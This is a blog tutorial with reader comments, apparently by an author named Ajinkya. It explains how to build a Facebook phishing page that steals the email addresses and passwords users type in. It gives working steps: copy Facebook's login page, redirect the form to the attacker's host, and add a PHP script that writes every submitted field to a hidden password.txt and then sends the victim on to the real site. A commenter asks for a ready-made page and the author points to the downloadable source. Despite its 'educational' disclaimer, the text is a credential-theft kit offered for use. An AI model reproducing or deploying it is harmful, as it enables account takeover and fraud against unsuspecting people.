Note: This guide is only for educational purpose.
I will create and show you how to create a Facebook phishing page that will log (store) users email id and passwords, and victim wont even notice. This is just a PHP Form which stores users input into a hidden text file.
Requirements : Basic HTML knowledge, Dreamweaver.
DEMO: http://goo.gl/B0nJz
Step 1.
Go to Facebook.com and save the entire webpage. (File Menu > Save page as (Complete) )
Save the html page as login.php
Step 2.
Open login.php with Dreamweaver. And go to CODE view in Dreamweaver.
Find word action (CTRL + F)
<form method="POST" action="http://www.YOURHOST.com/facebook/phish.php?login_attempt=1"
Replace www.YOURHOST.com with your web servers address, you can get free web server or buy your own. Search on google: free web hosting
What we are doing is when any user enters his/her email & password in login fields we will store them into a PHP file. I’m assuming that you understand HTML-PHP Forms.
Step 3.
Create phish.php page.
<?php
header ('Location: https://www.facebook.com/login.php?login_attempt=1 ');
$handle = fopen("password.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Step 4.
Create an empty text file password.txt
When you upload all files on your server, make sure to CHMOD 666 (File permission) to password.txt file.
Thats all!
Download SOURCE FILES.
Hope you learned something
I will soon post a detailed PHP Contact Form tutorial.
- Ajinkya
But you have a extra intro page on your demo site ?
Yes, i went a lil ahed and created 1 more HTML page to make to more neat. One second page user’s password gets logged.
hey please i want pahishing page that redirect to facebook after click on login….!!!
can you please make one for me….??
See demo url, also i have attached SOURCE CODE it has everything.